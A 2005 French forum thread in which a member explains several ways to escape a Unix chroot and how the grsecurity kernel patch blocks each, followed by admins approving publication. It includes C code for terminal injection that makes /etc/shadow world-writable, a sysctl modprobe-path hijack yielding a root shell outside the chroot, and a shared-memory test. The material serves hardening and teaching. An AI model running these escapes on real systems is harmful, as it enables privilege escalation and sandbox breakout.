Bienvenue invité ( Connexion | Inscription )

 
Reply to this topicStart new topic
> chroot(), sécurité illusoire ou illusion
HiM
posté 11/09/2005 14:56
Message #1


Fana
Icône de groupe

Groupe : Members
Messages : 71
Inscrit : 8-September 05
Lieu : Bruxelles & poivres
Membre no 14
FAI: Skynet
Vitesse: ADSL MAX (jusqu'à 8 Mb)
WI-FI: Oui



Bonjour à tous amis lecteurs & administrateurs nioBees !!!

L'appel système chroot() (abréviation pour change root directory), est devenu particulièrement populaire dernièrement, entre autre grâce à l'équipe d'OpenBSD. De nombreux articles ont vanté les mérites de la restriction d'une processus dans un chroot. L'idée est de prendre un processus et de l'enfermer dans un chroot pour le confiner à l'intérieur d'un répertoire donné dans le système de fichiers. L'objectif est de protéger, prétendument, le reste du système contre une compromission complète si le processus à l'intérieur du chroot est pris pour cible.

L'objectif de cet article est de démystifier certaines croyances, en montrant plusieurs attaques contre cet appel système, et la manière de les contrer, comme cela est réalisé dans grsecurity *http://www.grsecurity.net* pour une documentation complète mais grsecurity propose entre autre des ACLs, de nombreux durcissements, des protections renforcées des zones mémoires, etc., ). Il est en effet essentiel de comprendre que des "fonctionnalités", comme chroot, ne font pas tout en sécurité, mais que la manière dont elles sont réalisées et configurées est au moins aussi essentielle.

Quand on discute des inconvénients de chroot(), la plupart des gens mettent en avant un article écrit il y a plus d'un an qui décrit une attaque simple *http://www.bpfh.net/simes/computing/chroot-break.html*, mais qui ne fonctionne plus avec les versions récentes de Linux ou FreeBSD. Certaines personnes sont conscientes que si un attaquant parvient à devenir root dans un chroot, il n'y a plus rien qui l'empêche alors de s'attaquer au reste du système. Certes, cela est tout à fait exact, mais ces mêmes personnes sont en général inconscientes des moyens à mettre enœuvre.

Dans la suite de cet article, je décris en détails plusieurs attaques qui permettent de s'évader d'un chroot et de compromettre le système hôte. Certaines de ces attaques ne nécessitent pas d'être root, ce que beaucoup de personnes pensent, à tort, être impossible.

Évasion d'un chroot via mount

L'appel système mount(), réservé à l'utilisateur root, est utilisé pour monter un système de fichiers à un endroit précis. Il prend en argument le chemin vers le device, et le chemin vers l'endroit où monter le device. Évidemment, si un attaquant est autorisé à créer des devices appartenant aux disques durs présents sur le système, il peut sortir du chroot en montant des files systems et en y ajoutant des shells root par exemple.

Il existe de nombreuses options à considérer lors de la mise en place d'un chroot (voir les pages man mount et man 2 mount) dont les 3 plus intéressantes sont :

- MS_NOSUID : ignore les bits SUID et SGID ;
- MS_NODEV : empêche la création de devices ;
- MS_NOEXEC : interdiction d'exécuter des programmes.


Toutefois, il reste quand même des choses à faire. En fait, pour monter certains systèmes de fichiers, il n'est pas nécessaire d'avoir un device. Les plus connus de ces systèmes de fichiers sont devpts et procfs. La possibilité de monter procfs constitue une fuite d'information à propos du système et des processus s'exécutant en dehors du chroot.

Certains pensaient qu'il était possible de sortir du chroot si procfs était monté, simplement en changeant la racine pour /proc/1/root. Cependant, cela n'est plus le cas, au moins sur les noyaux Linux récents. Il reste toutefois une autre fonctionnalité offerte par procfs qui permet également de sortir du chroot qui sera présentée ci-après (cf. « évasion via sysctl »).

Monter devpts donne à l'attaquant un accès à toutes les pseudo-consoles ouvertes sur le système (par exemple, celles de ssh). L'attaquant peut alors injecter des caractères via ioctl() dans les terminaux, en particulier ceux des administrateurs.

Considérons le code suivant :

CODE
int fd;
char *buf = "chmod 777 /etc/shadow\n";
char *p;

fd = open("/dev/pts/0", O_RDWR);

if (fd < 0)
return 1;

for (p = buf; *p; p++)
ioctl(fd, TIOCSTI, p);


Sur une installation par défaut de Linux, cela exécute chmod 777 /etc/shadow dans le terminal d'un administrateur. Grsecurity arrête les attaques de ce type en interdisant tout montage au sein d'un chroot.

Évasion d'un chroot via Ptrace

ptrace() a attiré l'attention dernièrement, en particulier depuis que certaines race conditions ont permis une compromission root locale. Cet appel système permet d'observer et/ou de modifier le flux d'exécution d'un autre processus. En tant que root dans un chroot, un attaquant peut modifier le flux d'exécution de n'importe quel processus du système (sauf init, le premier processus).

En tant que non root dans un chroot, l'attaquant peut modifier un processus possédant le même UID. L'attaquant utilise une requête PTRACE_ATTACH pour s'accrocher au processus cible, puis emploie PTRACE_POKEUSR, PTRACE_SETREGS, et PTRACE_POKETEXT pour modifier ce qu'il veut dans l'espace d'adressage du processus (et même les zones en lecture seule).

A cause d'une faible protection des pages sur la plupart des UNIXes, si l'attaquant veut compromettre un processus, il trouvera très probablement une partie de l'espace mémoire qui soit accessible à la fois en écriture et en exécution, même si la pile n'est pas exécutable. L'attaquant peut alors modifier cette région et rediriger l'exécution vers le code malicieux qu'il aura introduit (n'importe quel shellcode par exemple) afin de sortir du chroot. L'exploitation est très simple, d'autant qu'aucune force brute n'est nécessaire puisque l'attaquant à une vue complète de la mémoire du processus cible.

Il est clair que les attaques à base de ptrace() sont très puissantes et offrent une grande diversité de solution à un attaquant. Grsecurity interdit ces attaques en empêchant l'utilisation de ptrace() si le processus appelant tourne dans un chroot. De plus, comme Grsecurity garantit également qu'aucun segment ne soit accessible à la fois en écriture et en exécution, cela rend les exploitations à base de ptrace() bien plus complexe.


Évasion d'un chroot via Fchdir

Sortir d'un chroot avec fchdir() dépend fortement de l'application, au contraire des autres attaques, mais je ne connais aucun autre OS qui bloque cette attaque, en dehors de grsecurity. Cet appel système permet de changer de répertoire courant pour un file descriptor ouvert référençant un autre répertoire.

Une exploitation est possible si le processus change de répertoire racine tout en conservant un file descriptor ouvert vers un répertoire situé en dehors du chroot (et donc sur le système de fichiers principal). L'attaquant peut exploiter une faille dans le chroot et changer de répertoire pour cet autre répertoire, ou bien utiliser cela en combinaison avec l'attaque ptrace décrite ci-dessus.

Grsecurity empêche cela en descendant dans l'arborescence du système de fichiers en partant du répertoire vers lequel le processus "chrooté" tente le fchdir(). Si l'algorithme termine dans le système de fichiers chrooté, l'opération est autorisée, dans le cas contraire, elle est rejetée.


Évasion d'un chroot via Chmod

Cette attaque nécessite une condition très particulière, mais, avec cette réserve, donne un accès root sur le système. Les appels système chmod() et fchmod() sont utilisés pour modifier les permissions sur un fichier. L'intérêt réside ici dans les droits S_ISUID et S_ISGID. Supposons qu'un attaquant devienne root dans le chroot (et que cela ne suffise plus pour sortir du chroot), il peut télécharger une application quelconque, et activer le bit SUID ou SGID. Maintenant, il est possible à un attaquant (le même ou un autre) situé en dehors du chroot, mais sans être root, de passer root grâce à l'application SUID/SGID.

En guise de protection, grsecurity interdit l'ajout du bit SUID ou SGID lorsque le processus est dans un chroot.

Évasion d'un chroot via sysctl

Une attaque dont je n'ai entendu parler nulle part se focalise sur la fonction sysctl()> pour sortir du chroot. C'est une des plus élégante à exécuter et ne demande aucune des capabilities (voir /usr/src/linux/include/capability.h) particulière pour réussir. Cet appel système renseigne sur l'état du noyau, et, pour un processus avec les privilèges adéquats, de le modifier. Ces paramètres sont accessibles soit via le fichier de configuration /etc/sysctl.conf, soit au travers de procfs, soit directement par l'appel système sysctl(), et stockés sous formes d'une base type MIB (Management Information Base).

De là, un attaquant dispose de plusieurs choix, selon ce qui est compilé dans le noyau. Par exemple, la plupart des noyaux supportent les modules, et donc CONFIG_KMOD qui autorise le chargement automatique d'un module noyau par un chargeur situé en espace utilisateur. Le chargeur habituel est /sbin/modprobe. Toutefois, il est possible d'en contrôler l'emplacement par une entrée dans la base avec sysctl(). Le programme suivant illustre cela :

CODE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
#include <sys/socket.h>

_syscall1(int, _sysctl, struct __sysctl_args *, args);
int sysctl(int *name, int nlen, void *oldval, size_t *oldlenp,
void *newval, size_t newlen)
{
struct __sysctl_args args={name,nlen,oldval,oldlenp,newval,newlen};
return _sysctl(&args);
}

#define SIZE(x) sizeof(x)/sizeof(x[0])
#define MODPROBEPATHLEN 256

char modprobepath[MODPROBEPATHLEN];
int pathlen;
int name[] = { CTL_KERN, KERN_MODPROBE };

int main(void){
strcpy(modprobepath, "/bin/sh");
pathlen = SIZE(modprobepath);
if (sysctl(name, SIZE(name), 0, NULL, modprobepath, pathlen))
perror("sysctl");
else {
printf("successfully modified the modprobe path.\n");
socket(AF_SECURITY, SOCK_STREAM, 1);
printf("executing shell with full privileges, outside of chroot\n");
}
return 0;
}


Cette attaque fonctionne car le noyau peut exécuter des programmes dans un contexte utilisateur. Quand le noyau force l'exécution d'un binaire, celui-ci est exécuté avec le vrai système de fichiers racine en tant que racine du nouveau processus.

Pour stopper cela, grsecurity empêche les écritures via sysctl(), mais aussi via le procfs.

Évasion d'un chroot via la mémoire partagée

Une autre attaque intéressante pour sortir d'un chroot s'appuie sur l'utilisation de mémoire partagée. L'attaque en elle-même dépend des processus employant de la mémoire partagée en dehors du chroot. Si de tels processus existent, il est alors très probable que l'attaque réussisse, indépendant de ce que la mémoire partagée de ces processus soit déclarée privée ou non au moment de sa création.

Pour s'attacher à de la mémoire partagée, l'attaquant doit commencer par trouver sa cible. S'attacher à de la mémoire partagée non privée est facile : il suffit de connaître (ou de "bruteforcer") la clé de la mémoire virtuelle. Si la mémoire virtuelle est déclarée privée, un test supplémentaire impose que l'UID effectif de l'attaquant soit égal à l'UID du processus ou du créateur de la mémoire partagée.

L'utilisateur root peut outrepasser ce test s'il dispose de la capability CAP_IPC_OWNER, même s'il existe d'autres solutions pour root sans cette capability. S'il dispose de CAP_SYS_ADMIN, il peut alors modifier les credentials de la mémoire partagée pour qu'ils soient identiques aux siens, et ainsi s'attacher au processus. Si l'attaquant dispose de CAP_SETUID, il peut modifier son UID pour la faire correspondre à celle de la mémoire partagée.

Finalement, si le processus compromis dans le chroot possède un UID effectif égal à celui de la cible utilisant de la mémoire partagée, l'attaquant peut sortir du chroot sans avoir besoin des droits de root. Faire tourner des démons sous l'identité nobody est assez classique sur nos systèmes, et cette attaque devient alors particulièrement intéressante. Après avoir obtenu les credentials sur la mémoire partagée, l'attaquant peut récupérer l'identification de la mémoire avec la fonction shmget(), puis s'attacher à cette mémoire avec shmat(). L'attaquant peut alors profiter de cet accès pour modifier des entiers, des chaînes de caractères, ..., pour exploiter le processus

Le programme suivant permet de déterminer si votre système est vulnérable ou non, que ce soit un Linux, un FreeBSD, un NetBSD, un OpenBSD ou un Solaris :

CODE
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/shm.h>

int main(void)
{
pid_t pid;
int ipckey, ret;

printf("Testing denied shared memory attach out of chroot... : ");
fflush(stdout);

ipckey = shmget(0, 10, IPC_CREAT | IPC_EXCL | 0700);

if (ipckey < 0) {
printf("Unable to create shared memory.\n");
return 1;
}

pid = fork();
if (pid == 0) {
void *shm = NULL;
struct shmid_ds buf;

ret = chroot("/tmp");

if (ret) {
printf("Unable to chroot.\n");
return 1;
}

shm = shmat(ipckey, NULL, 0);

if (shm == (void *)-1)
printf("PASSED\n");
else {
shmdt(shm);
printf("FAILED\n");
}

shmctl(ipckey, IPC_RMID, &buf);
} else if (pid > 0) {
int status;

wait(&status);
} else if (pid < 0) {
printf("Fork failed.\n");
return 1;
}

return 0;
}


Grsecurity enregistre l'id du processus du créateur et du dernier "attaché" à la mémoire partagée. Quand un attaquant tente de s'attacher à son tour à la mémoire partagée en dehors du chroot, grsecurity vérifie si le processus qui a créé cette mémoire virtuelle existe encore (si ce n'est pas le cas, c'est le processus qui s'est attaché en dernier à la mémoire partagée qui est utilisé) et compare la racine de ce processus avec celle du processus qui tente de s'attacher (celui d'un potentiel attaquant) : si les racines diffèrent, l'opération est refusée.



Conclusion

Les différentes méthodes décrites ici pour s'échapper d'un chroot ne sont pas les seules, sans parler des moyens d'affecter le système en dehors du chroot depuis l'intérieur de celui-ci (tuer des processus, épuiser des ressources, ...). J'espère que cet article vous aura convaincu de la nécessité de faire tourner des processus dans des chroot en tant que processus non root, UID dédié au processus, puisque dès que d'autres processus existent sur le système, ils aident indéniablement un attaquant à s'échapper.

Grsecurity, patch de sécurité pour le noyau Linux, propose un ensemble de tests illustrant les attaques décrites ici, ainsi qu'un comparatif des résultats obtenus sur différentes plateformes (OpenBSD, FreeBSD et Solaris).

Toutes les attaques contre chroot présentées ici, et quelques autres encore, pas uniquement à l'encontre de chroot, échouent lorsqu'elles sont tentées sur un Linux patché avec grsecurity.

Pour conclure, il est possible de mettre en place des moyens pour se protéger de classes entières de vulnérabilités. Les solutions doivent être ouvertes afin que tout un chacun puisse les vérifier et contrôler. De plus, de telles solutions doivent également être simples afin que même des administrateurs inexpérimentés puissent les déployer.



Sécuritassement vÔtre
- His Imperial Majesty -
Go to the top of the page
 
+Quote Post
merovingian
posté 12/09/2005 10:29
Message #2


Team TLR: Admin
Icône de groupe

Groupe : Admin
Messages : 173
Inscrit : 3-July 05
Lieu : Toulouse
Membre no 2
FAI: Free
Vitesse: ADSL 2+ (jusqu'à 20 Mb)
WI-FI: Oui



Ok pour publication sur le site en direct ?
Go to the top of the page
 
+Quote Post
HiM
posté 12/09/2005 12:20
Message #3


Fana
Icône de groupe

Groupe : Members
Messages : 71
Inscrit : 8-September 05
Lieu : Bruxelles & poivres
Membre no 14
FAI: Skynet
Vitesse: ADSL MAX (jusqu'à 8 Mb)
WI-FI: Oui



bah il est la pour ca ;)
Go to the top of the page
 
+Quote Post
Greg0ry
posté 12/09/2005 14:00
Message #4


Team TLR: Admin
Icône de groupe

Groupe : Admin
Messages : 755
Inscrit : 1-July 05
Lieu : Paris
Membre no 1
FAI: Free
Vitesse: ADSL 2+ (jusqu'à 20 Mb)
WI-FI: Oui



Belle petite doc,

Merci bien :P
Go to the top of the page
 
+Quote Post

Fast ReplyReply to this topicStart new topic
2 utilisateur(s) sur ce sujet (2 invité(s) et 0 utilisateur(s) anonyme(s))
0 membre(s) :

 

RSS Version bas débit Nous sommes le : 09/06/2008 08:45